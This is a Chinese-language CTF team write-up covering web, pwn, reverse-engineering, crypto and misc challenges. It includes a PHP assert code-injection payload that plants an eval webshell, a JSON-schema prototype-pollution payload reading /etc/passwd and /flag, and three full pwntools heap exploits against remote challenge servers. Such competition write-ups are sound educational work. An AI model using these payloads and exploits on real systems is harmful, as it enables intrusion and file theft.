Light1ng战队
一、战队信息
- 名称:Light1ng
- 排名:16
二、解题情况
进不去平台了,没法截图了
三、解题过程
Web
1.ezphp
ezphp
在关于里看到个Git,所以考虑存在git泄露
index.php里的php代码
<?php
if (isset($_GET['link_page'])) {
$link_page = $_GET['link_page'];
} else {
$link_page = "home";
}
$page_file = "pages/" . $link_page . ".php";
$safe_check1 = "strpos('$page_file', '..') === false";
assert($safe_check1) or die("no no no!");
// safe!
$safe_check2 = "file_exists('$page_file')";
assert($safe_check2) or die("no this file!");
?>
由于assert会进行命令执行,且$link_page参数可控,所以此处存在rce
构造闭合:
?link_page=flag.php', '..') === true|eval($_POST['yy']);//
POST传参:
yy=system('ls /');
执行成功,蚁剑连接:
在pages目录下拿到flag
DASCTF{af5ff99c7f98d528e711acc42fd6b906}
2.Looking for treasure
打开源码 有提示。
下载到源码 审计。
有一处
这里读取了p文件,如果能控制p的值就能实现文件读取。
这个content和req.body肯定是不相同的不用管它 ,所以p的内容最后会在报错信息的content里发出
看看p是怎么来的
config.path给p赋值。所以得想办法控制path的值。
源码里看到
看到这个想到json-schema原型链污染
payload
{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"path":{"type":"string","default":"/etc/passwd"}}}}}}
成功读到了/etc/passwd的内容,猜测flag在根目录,直接读/flag
{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"path":{"type":"string","default":"/flag"}}}}}}
数据包
POST /validated HTTP/1.1
Host: 26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 132
Origin: http://26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.com
Connection: close
Referer: http://26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.com/
Upgrade-Insecure-Requests: 1
{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"path":{"type":"string","default":"/flag"}}}}}}
DASCTF{5117143e660f592adc982dd96d2c3f17}
PWN
1.null
正常的菜单堆题,off-by-one漏洞,我没可以看见edit和add中都有read_input()函数,而漏洞点就在这个read_input()函数中
可以看见a2+1多读了一个字节我们可以利用这个漏洞来改写chunk的大小造成堆块的重叠。
Exp:
from pwn import *
#io=process('./null')
io=remote('82.157.5.28',50404)
elf=ELF('./null')
#libc=elf.libc
libc=ELF('./libc-2.23')
def choice(choice):
io.sendlineafter('choice :',str(choice))
def malloc(index,size,context):
choice(1)
io.sendlineafter('Index:',str(index))
io.sendlineafter('Size of Heap : ',str(size))
io.sendafter('Content?:',context)
def free(index):
choice(2)
io.sendlineafter('Index:',str(index))
def edit(index,context):
choice(3)
io.sendlineafter('Index:',str(index))
io.sendafter('Content?:',context)
def view(index):
choice(4)
io.sendlineafter('Index :',str(index))
def pwn():
malloc(0,0x18,'0\n')
malloc(1,0x78,'1\n')
malloc(2,0x68,'2\n')
malloc(3,0x68,'3\n')
malloc(4,0x88,'4\n')
edit(0,'0'*0x18+p8(0xf1))
free(1)
malloc(1,0x78,'\n')
view(2)
addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
mallochook=addr-0x68
libcbase=mallochook-libc.symbols['__malloc_hook']
onegadget=[0x45226,0x4527a,0xf03a4,0xf1247]
malloc(5,0x68,'5\n')
free(5)
edit(2,p64(mallochook-0x23)+'\n')
malloc(6,0x68,'6\n')
malloc(7,0x68,'7'*0x13+p64(onegadget[3]+libcbase))#malloc_hook
io.sendlineafter('choice :','1')
io.sendlineafter('Index:','8')
io.sendlineafter('Size of Heap : ',str(0x18))
io.interactive()
pwn()
2.uaf
正常的菜单题
漏洞点在,free后指针没有置0,造成uaf漏洞,直接freechunk泄露libc,打malloc_hook
Exp:
from pwn import *
sh=remote('82.157.5.28',51402)
context.log_level='debug'
elf=ELF('./uaf_pwn')
libc=elf.libc
def exp():
def add(size):
sh.sendlineafter(">","1")
sh.sendlineafter("size>",str(size))
def dele(idx):
sh.sendlineafter(">","2")
sh.sendlineafter("index>",str(idx))
def edit(idx,content):
sh.sendlineafter(">","3")
sh.sendlineafter("index>",str(idx))
sh.sendlineafter("content>",content)
def show(idx):
sh.sendlineafter(">","4")
sh.sendlineafter("index>",str(idx))
add(0x80)
add(0x60)
add(0x60)
add(0x60)
add(0x60)
for i in range(4):
edit(i,str(i)*8)
dele(0)
show(0)
libc_base = u64(sh.recv(6).ljust(8,"\x00"))-88 - 0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
malloc_hook = libc_base + libc.sym["__malloc_hook"]
add(0x80)
dele(1)
dele(3)
dele(1)
edit(1,p64(malloc_hook-0x23))
gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
add(0x60)
add(0x60)
edit(7,"a"*0x13+p64(gadget[1]+libc_base))
add(0x90)
sh.interactive()
exp()
3.Greentownnote
这个题的漏洞在于dele这个操作,并没将ptr+8置0
在这可以看到有沙箱函数禁用了exevce,只能读取flag
整体逻辑如下,有正常的add,dele,show功能
直接doublefree泄露libc,利用libc中的函数context可以对其进行栈迁移,我们在堆上提前布置好rop,在利用free_hook函数触发,context+53,将栈迁移到我们布置好的rop处,然后利用srop将rip指向syscall,读取flag
完整exp:
from pwn import *
io = remote('82.157.5.28',51301)
elf = ELF('./GreentownNote')
libc = ELF('./libc-2.27.so')
context.log_level='debug'
context.arch='amd64'
def add(size,content):
io.sendlineafter('choice :','1')
io.sendlineafter('size :',str(size))
io.sendlineafter('Content :',content)
def show(index):
io.sendlineafter('choice :','2')
io.sendlineafter('Index :',str(index))
def dele(index):
io.sendlineafter('choice :','3')
io.sendlineafter('Index :',str(index))
add(0x100,'a'*(0x10))
add(0x100,'')
dele(0)
dele(0)
show(0)
io.recvuntil("Content: ")
leak = u64(io.recv(6).ljust(8,'\x00'))
heap_base = leak - 0x260
success(hex(heap_base))
add(0x100,p64(heap_base+0x10))
add(0x100,'a'*8)
add(0x100,'\x07'*0x40)
dele(3)
show(3)
addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
malloc_hook = addr-0x70
libc_base = malloc_hook-libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc.sym['setcontext']+libc_base+53
syscall = libc.search(asm("syscall\nret")).next()+libc_base
print('libc_base',hex(libc_base))
add(0x100,'\x07'*0x80+p64(free_hook))
add(0x90,p64(setcontext))
frame = SigreturnFrame()
frame.rsp = (free_hook&0xfffffffffffff000)+8
frame.rax = 0
frame.rdi = 0
frame.rsi = free_hook&0xfffffffffffff000
frame.rdx = 0x280
frame.rip = syscall
pop_rdi=libc.search(asm('pop rdi\nret')).next()
pop_rsi=libc.search(asm('pop rsi\nret')).next()
pop_rdx=libc.search(asm('pop rdx\nret')).next()
pop_rax=libc.search(asm('pop rax\nret')).next()
add(0xf8,bytes(frame)[0:0xf8])
dele(5)
#open('./flag',0)
code = [pop_rdi+libc_base,free_hook&0xfffffffffffff000,pop_rsi+libc_base,0,pop_rdx+libc_base,0,pop_rax+libc_base,2,syscall]
#read(0,addr,0x40)
code+=[pop_rdi+libc_base,3,pop_rsi+libc_base,(free_hook&0xfffffffffffff000)+0x400,pop_rdx+libc_base,0x40,pop_rax+libc_base,0,syscall]
#write(1,addr,0x40)
code+=[pop_rdi+libc_base,1,pop_rax+libc_base,1,syscall]
shellcode='./flag'.ljust(8,'\x00')
shellcode+=flat(code)
io.sendline(shellcode)
io.interactive()
RE
1.easy_re
程序不难,丢入OD,进行分析
发现仅仅是单纯的xor加密,这就好办了,只需要把加密数据dump出来,然后在dump回输入内存,即可让他自动解密(取了个巧,算法没看,猜测可能是RC4魔改)
加密数据如上图
Dump过去,程序自动解密即可
2.[warmup]babyvxworks
IDA上来就开幕雷击
很明显,这是一个花指令,直接nop掉
手动处理完,类似上图的所有花指令后,直接IDA F5
Helloworld干了个啥,我也不晓得,但是,算法很明显,就是递归异或0x22,并加3,直接写脚本跑
flag:
flag{helo_w0rld_W3lcome_70_R3}
3.抛石机
先搞清程序如何执行成功
很明显,就是要让x<=y-0.001 z<=d-0.001且要满足那4个一元二次方程,因为不论是v1,v2,v3,v4的取值范围都很小,无限接近于0,不妨设v1=v2=v3=v4=0,然后解这4个一元二次方程(还是在线解吧:http://www.ab126.com/shuxue/8009.html),解得4个值:x1 = 1.08 , x2 = 4.33,x3 = -0.48 , x4 = 1.98,这是4个双浮点数,将他们转为字节
其余3个也是如上图这样转换,然后根据x<=y-0.001 z<=d-0.001,可知x=1.08,y=4.33,d=1.98,z=-0.48
回到开始,这里其实是一个格式的固定,判断是否为flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx}格式的flag,并不是照抄,x仅仅代表的是任意字符
全局变量初始化
运算结果,然后进行比较
这里通过动调不难发现规律,输入:13,返回结果就是13,输入ab,返回结果就是AB。
当然这里有个细节得注意,这里仅仅只操作了4个字节,而我们运算的双浮点数是8个字节,很明显不满足我们的条件,所以是算法的问题吗?No,其实后面4个字节,对整体双浮点数的影响微乎其微,所以我们可以舍弃掉,毕竟,他毕竟的是一个范围,而不是一个确切的数字,所以经过计算(我是手工,别骂,flag好像有多组,不知道是不是题的bug):flag{48e17a14-52b8-1e85-b81e-85ebae47e17a}
Crypto
1.RSA-1
易知n,c都是p的倍数,求两者公倍数即可得到p,后面简单求RSA即可
from gmpy2 import *from Crypto.Util.number import *n =17365231154926348364478276872558492775911760603002394353723603461898405740234715001820111548600914907617003806652492391686710256274156677887101997175692277729648456087534987616743724646598234466094779540729413583826355145277980479040157075453694250572316638348121571218759769533738721506811175866990851972838466307594226293836934116659685215775643285465895317755892754473332034234495795936183610569571016400535362762699517686781602302045048532131426035260878979892169441059467623523060569285570577199236309888155833013721997933960457784653262076135561769838704166810384309655788983073376941843467117256002645962737847c =694496710881543773542894128678411940313831971345573215592505592864653696259767294180583131213068933801491345208129640027286271044720726509975040165782816583601312284865683910085471996518868009737549119324912772559966038374682703180306602649798929885642021625020603506818096379745479215119107143364594624591491673263700711708519944289449566745554451748340400653660712148067868800042042228138053936851980716 2175099763891988648117937777951069899975260190018995834904541447562718307433906592021226666885638877020304005614450763081337082838608414756162253825697420493509914578546951634127502393647068722995363753321912676p=gcd(n,c)q=n//p phi=(p-1)*(q-1)e=65537d=invert(e,phi)M=powmod(c,d,n)m=M//2021//1001//pprint(long_to_bytes(m))
flag:
flag{Math_1s_1nterest1ng_hah}
2.Warmup
仿射加密,简单逆一下就行
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'c='aoxL{XaaHKP_tHgwpc_hN_ToXnnht}'s=''for i in c: if i in str1: a=str1.find(i) s+=str1[((a-23)*45)%52]print(s)
flag:
flag{AffInE_CIpheR_iS_clAssiC}
3.RSA_plus
第一部分
n1是四个素数的乘积,其中 p 和 p 1 , q 和 q 1 p和p_1,q和q_1 p和p1,q和q1相近,将n1放入在线网站factordb中分解得到N1和N2,通过开根爆破的方式运行很久都没有出答案,于是可以猜测N1和N2不是由 p ∗ p 1 和 q ∗ q 1 p*p1和q*q1 p∗p1和q∗q1得到,而是 p ∗ q 1 和 p 1 ∗ q p*q1和p1*q p∗q1和p1∗q得到,假设 p 1 = p + p 0 ; q 1 = q + q 0 p_1=p+p_0;q_1=q+q_0 p1=p+p0;q1=q+q0,通过 ( N 1 − N 2 + p 0 q 0 ) 2 + 4 p 0 q 0 N 2 = ( p q 0 − p 0 q + p 0 q 0 ) 2 + 4 p 0 q 0 N 2 = ( p q 0 + p 0 q + p 0 q 0 ) 2 (N_1-N_2+p_0q_0)^2+4p_0q_0N_2=(pq_0-p_0q+p_0q_0)^2+4p_0q_0N_2=(pq_0+p_0q+p_0q_0)^2 (N1−N2+p0q0)2+4p0q0N2=(pq0−p0q+p0q0)2+4p0q0N2=(pq0+p0q+p0q0)2知,我们可以爆破 p 0 , q 0 p_0,q_0 p0,q0计算 ( N 1 − N 2 + p 0 q 0 ) 2 + 4 p 0 q 0 N 2 (N_1-N_2+p_0q_0)^2+4p_0q_0N_2 (N1−N2+p0q0)2+4p0q0N2是否为完全平方数来判断 p 0 , q 0 p_0,q_0 p0,q0是否为我们所求,这可以用 g m p y 2 gmpy2 gmpy2库里的iroot函数实现。找到 p 0 , q 0 p_0,q_0 p0,q0后求出p,q,p1,q1,然后通过欧拉函数的积性知 φ ( n 1 ) = ( p − 1 ) ( q − 1 ) ( p 1 − 1 ) ( q 1 − 1 ) \varphi(n1)=(p-1)(q-1)(p1-1)(q1-1) φ(n1)=(p−1)(q−1)(p1−1)(q1−1),解出第一部分的flag1。
第二部分
已知p2,q2之和,p2,q2之积,可通过求 x 2 − ( p 2 + q 2 ) x + p 2 q 2 = 0 x^2-(p_2+q_2)x+p_2q_2=0 x2−(p2+q2)x+p2q2=0的两个根得到p2,q2,再通过欧拉函数对素数幂的表达式 φ ( n 2 ) = ( p 2 2 − p 2 ) ( q 2 3 − q 2 2 ) \varphi(n2)=(p_2^2-p_2)(q_2^3-q_2^2) φ(n2)=(p22−p2)(q23−q22)求得,然后正常的RSA解密得flag2,最后将flag1和flag2合并即可
import sympyfrom gmpy2 import *from Crypto.Util.number import *def solve(a,b,c): delta=b*b-4*a*c if delta<0: return (0,0) delta=isqrt(delta) if (-b+delta)%(2*a)!=0 or (-b-delta)%(2*a)!=0: return (0,0) return ((-b+delta)//(2*a),(-b-delta)//(2*a))n1=6348779979606280884589422188738902470575876294643492831465947360363568026280963989291591157710389629216109615274754718329987990551836115660879103234129921943824061416396264358110216047994331119920503431491509529604742468032906950984256964560405062345280120526771439940278606226153077959057882262745273394986607004406770035459301695806378598890589432538916219821477777021460189140081521779103226953544426441823244765828342973086422949017937701261348963541035128661464068769033772390320426795044617751909787914185985911277628404632533530390761257251552073493697518547350246993679844132297414094727147161169548160586911a1=79679231796035037354449627487236220201878797729093909877127396750043503300636464774059752126148617367251988043645511172901030621825575172979048675217341753594180007984204016274224280609480494305040439035855109422239942522968468133274883986349646765947317076885918174299537297351936448296784166003890345486613a2=n1//a1for p0 in range(1,2000): for q0 in range(1,2000): term=(a1-a2+p0*q0)**2+4*p0*q0*a2 if iroot(term,2)[1]==True: q=(iroot(term,2)[0]-p0*q0-a1+a2)//(2*p0) if q!=0 and a2%q==0: print(q) print(p0) print(q0)q=10619814058756849829412220719572078374866231482659600717706859832366243652256808143923755280218847619508647399114705626452464205932047979078592015381325551p=7502883888097212950622788817096216502912511795977786941568063923158816805073284550069689733527712330353018568842826730967449095687927404679782394052855569p0=828q0=726p1=p+p0q1=q+q0e=65537c1=6201882078995455673376327652982610102807874783073703018551044780440620679217833227711395689114659144506630609087600915116940111002026241056808189658969089532597757995423694966667948250438579639890580690392400661711864264184444018345499567505424672090632235109624193289954785503512742400960515331371813467034511130432319427185134018830006918682733848618201088649690422818940385123599468595766345668931882249779415788129316594083269412221804774856038796248038700275509397599351533280014908894068141056694660319816046357462684688942519849441237878018480036145051967731081582598773076490918572392784684372694103015244826phi=(p-1)*(q-1)*(p1-1)*(q1-1)d1=invert(e,phi)flag1=long_to_bytes(pow(c1,d1,n1))SUM=274773146761138462708137582309097386437793891793691383033856524303010811294101933454824485010521468914846151819876043508541879637544444256520741418495479393777132830985856522008561088410862815913292288683761657919121930016956916865849261153721097671315883469348972925757078089715102032241818526925988645578778MUL=18514724270030962172566965941723224386374076294232652258701085781018776172843355920566035157331579524980108190739141959926523082142273672741849552475156278397131571360099018592018959785627785130126477982765210498547680367230723634424036009539347854344573537848628061468892166199866227984167843139793429682559241317072979374002912607549039431398267184818771503468116379618249319324788996321340764624593443106354104274472601170229835219638093242557547840060892527576940077162990069687019966946826210112318408269749294366586682732614372434218768720577917368726530200897558912687470088583774711767599580037663378929000217p2,q2=solve(1,-SUM,MUL)PHI=(p2**2-p2)*(q2**3-q2**2)d2=invert(e,PHI)c2=25591090168544821761746024178724660839590948190451329227481168576490717242294520739865602061082558759751196452117720647426598261568572440942370039702932821941366792140173428488344932203576334292648255551171274828821657097667106792872200082579319963310503721435500623146012954474613150848083425126987554594651797477741828655238243550266972216752593788734836373144363217639612492397228808215205862281278774096317615918854403992620720969173788151215489908812749179861803144937169587452008097008940710091361183942268245271154461872102813602754439939747566507116519362821255724179093051041994730856401493996771276172343313045755916751082693149885922105491818225012844519264933137622929024918619477538521533548551789739698933067212305578480416163609137189891797209277557411169643568540392303036719952140554435338851671440952865151077383220305295001632816442144022437763089133141886924265774247290306669825085862351732336395617276100374237159580759999593028756939354840677333467281632435767033150052439262501059299035212928041546259933118564251119588970009016873855478556588250138969938599988198494567241172399453741709840486953189764289118312870580993115636710724139809708256360212728127786394411676427828431569046279687481368215137561500777480380501551616577832499521295655237360184159889151837766353116185320317774645294201044772828099074917077896631909654671612557207653830344897644115936322128351494551004652981550758791285434809816872381900401440743578104582305215488888563166054568802145921399726673752722820646807494657299104190123945675647n2=40588227045595304080360385041082238507044292731344465815296032905633525556943787610712651675460810768762763493579129831271018141591546207557410817432455139315527674932933085299277599173971912445226532235814580879585317211349524406424200622675880992390782025158621241499693400288031658194434641718026910652327933253877313106112861283314274635124734817398465059373562194694957841264834312640926278890386089611103714990646541470577351599526904458342660444968591197606820361364761648205241041444681145820799054413179462285509661124362074093583494932706249461954240408827087015525507173082129412234486228092002841868365895837463699200959915782767657258729794037776401995309244941171415842403617486719492483671490834562579225506831496881542530519595438932482796867853234159664409420977526102480385193101883785161080269573707156626838551506024455480650224305894501968583442346807126920740779780593650871645915149689424292912611578291912721896864772950410266629045542480009266574096080138709683466489568290569363478444349563498507530805502511051165160827192795520182720802422213364247355775222858214648603034743679187470844212529134374975737510982287957316878179964602394749601431823167982157434890459245394370728942790117156485268116758052636794417268680901420193002289035538753620555488506926366624641291881353268617130968991258983002165300186971963661666476600998389048880565199317280428349802824448329898502788492233381873026217202981921654673840142095839603360666049476100561268336225902504932800605464136192275593886736746497955270280541423593flag2=long_to_bytes(pow(c2,d2,n2))flag=flag1+flag2print(flag)
flag:
flag{Euler_funct1ons_1s_very_interst1ng}
Misc
[warmup]音频隐写
下载附件,丢入010分析,发现是WAV的文件头,于是把附件的后缀改为.wav
修改完之后,得到一段音频文件,既然题目提示了音频隐写,那就用Audacity打开这段音频分析一下
音频没发现有什么隐藏信息,于是 打开频谱图看看
得到flag:
flag{f8fbb2c761821d3af23858f721cc140b}
创新技术
无